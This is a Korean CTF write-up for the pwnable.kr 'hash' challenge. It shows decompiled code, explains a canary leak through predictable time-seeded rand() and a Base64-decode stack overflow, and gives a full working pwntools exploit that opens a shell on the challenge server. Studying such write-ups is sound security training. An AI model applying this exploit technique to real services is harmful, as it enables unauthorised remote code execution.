1. 문제확인
We made a simple MD5 calculator as a network service.
Find a bug and exploit it to get a shell.
Download : http://pwnable.kr/bin/hash
hint : this service shares the same machine with pwnable.kr web service
Running at : nc pwnable.kr 9002
- 네트워크 서비스로 간단한 MD5 계산기를 만들었으니 버그 찾아서 익스플로잇 해보라고 한다.
1) mitiagation 확인
2) 문제 확인
- libcrypto.so.1.0.0 이 없어서 실행이 안되는듯, 설치 ㄱㄱ
- 아마도 64bit용 libssl1.0.0 라이브러리는 있는데 32bit꺼가 없어서 그런듯
sudo apt-get install libssl1.0.0:i386
- 이제 실행이 잘되고 입력 값을 한 번 받고 끝난다.
3) 코드흐름 확인
3-1) main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int seed; // eax
int input; // [esp+18h] [ebp-8h]
int hash; // [esp+1Ch] [ebp-4h]
setvbuf(stdout, 0, 1, 0);
setvbuf(stdin, 0, 1, 0);
puts("- Welcome to the free MD5 calculating service -");
seed = time(0);
srand(seed);
hash = my_hash();
printf("Are you human? input captcha : %d\n", hash);
__isoc99_scanf("%d", &input);
if ( hash != input )
{
puts("wrong captcha!");
exit(0);
}
puts("Welcome! you are authenticated.");
puts("Encode your data with BASE64 then paste me!");
process_hash();
puts("Thank you for using our service.");
system("echo `date` >> log");
return 0;
}
- seed값을 설정하고 입력 값을 받는다. 그리고 입력 값이 hash값과 같지 않으면 exit()를 호출하고 종료
- if문을 통과하게 된다면 process_hash()를 호출
3-2) my_hash()
int my_hash()
{
signed int i; // [esp+0h] [ebp-38h]
char v2[4]; // [esp+Ch] [ebp-2Ch]
int v3; // [esp+10h] [ebp-28h]
int v4; // [esp+14h] [ebp-24h]
int v5; // [esp+18h] [ebp-20h]
int v6; // [esp+1Ch] [ebp-1Ch]
int v7; // [esp+20h] [ebp-18h]
int v8; // [esp+24h] [ebp-14h]
int v9; // [esp+28h] [ebp-10h]
unsigned int canary; // [esp+2Ch] [ebp-Ch]
canary = __readgsdword(0x14u);
for ( i = 0; i <= 7; ++i )
*(_DWORD *)&v2[4 * i] = rand();
return v6 - v8 + v9 + canary + v4 - v5 + v3 + v7;
}
- 랜덤 값과 카나리 값을 이용해서 return값을 만든다.
- 근데 메인 함수에서 리턴 값을 출력해주고 시드 값만 알면은 나머지 랜덤 값도 알 수 있으므로 canary값을 구할 수 있다.
canary = hash - v3 - v4 + v5 - v6 - v7 + v8 - v9
3-3) process_hash()
unsigned int process_hash()
{
int v0; // ST14_4
void *ptr; // ST18_4
char v3; // [esp+1Ch] [ebp-20Ch]
unsigned int v4; // [esp+21Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
memset(&v3, 0, 0x200u);
while ( getchar() != 10 )
;
memset(g_buf, 0, sizeof(g_buf));
fgets(g_buf, 0x400, stdin);
memset(&v3, 0, 0x200u);
v0 = Base64Decode(g_buf, (int)&v3);
ptr = (void *)calc_md5(&v3, v0);
printf("MD5(data) : %s\n", ptr);
free(ptr);
return __readgsdword(0x14u) ^ v4;
}
- 잘 보면 이상한 부분이 존재한다. g_buf는 전역변수로 fgets()를 통해 0x400사이즈만큼 입력을 받는다. 근데 v3에는 0x200사이즈 만큼 memset하고 Base64Decode()를 통해 g_buf에 있는 값을 디코딩해서 v3에 저장한다.
- bof 취약점 발생하므로 아까 구한 카나리 값을 이용해서 익스하면 될듯하다.
2. 접근 방법
정리하자면 먼저, my_hash()의 리턴 값으로 출력되는 hash값과 랜덤 값을 통해 카나리 값을 구한다. 이후에 process_hash()에서 발생하는 bof취약점을 통해 system("/bin/sh")을 호출하면 된다. (참고로 system함수 주어졋음 ㅎ)
3. 문제 풀이
익스 코드)
from pwn import *
from ctypes import *
from ctypes.util import find_library
import base64
context(log_level="debug", os="linux", arch="i386")
libc = CDLL(find_library("libcrypto.so.1.0.0"))
libc.srand(libc.time(0))
g_buf = 0x804b0e0
#p = process("./hash")
p = remote("pwnable.kr", 9002)
system = ELF("./hash").symbols['system']
#gdb.attach(p)
p.recvuntil(" : ")
rval = [libc.rand() for i in range(8)]
captcha = p.recvuntil("\n")
canary = int(captcha) - rval[1] - rval[2] + rval[3] - rval[4] - rval[5] + rval[6] - rval[7]
canary = canary & 0xffffffff
log.info(hex(canary))
p.send(captcha)
payload = "A"*0x200
payload += p32(canary)
payload += "A"*0xc
payload += p32(system)
payload += "A"*0x4
payload += p32(g_buf+0x2d0)
#payload += "/bin/sh\x00"
payload = base64.encodestring(payload).replace('\n', '')
p.sendlineafter("me!\n", payload + "/bin/sh\x00")
p.interactive()
실행 결과)
4. 몰랐던 개념
Uploaded by Notion2Tistory v1.1.0